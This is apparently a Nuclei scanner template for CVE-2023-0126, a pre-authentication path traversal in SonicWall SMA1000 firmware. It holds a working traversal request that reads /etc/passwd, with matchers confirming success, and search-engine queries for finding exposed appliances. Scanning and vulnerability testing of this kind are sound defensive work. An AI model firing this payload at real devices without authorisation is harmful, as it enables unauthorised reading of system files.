id: CVE-2023-0126

info:
  name: SonicWall SMA1000 LFI
  author: tess
  severity: high
  description: |
    Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the affected device, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0126
    - https://github.com/advisories/GHSA-mr28-27qx-phg3
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0001
    - https://github.com/Gerxnox/One-Liner-Collections
    - https://github.com/thecybertix/One-Liner-Collections
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-0126
    cwe-id: CWE-22
    epss-score: 0.72699
    epss-percentile: 0.99392
    cpe: cpe:2.3:h:sonicwall:sma1000:-:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: sonicwall
    product: sma1000
    shodan-query: title:"Appliance Management Console Login"
    fofa-query: title="appliance management console login"
    google-query: intitle:"appliance management console login"
  tags: cve2023,cve,sonicwall,lfi,sma1000,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - content/unknown

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402204865056219a70a6a6cf5911bbc22618d0a26d4eed9c4ce3c748f9d3803d115c5022062ad8b90314f4978a81e6c7d7d496bf6fa2aa1e426403d56a76c2e511d85d9f7:922c64590222798bb761d5b6d8e72950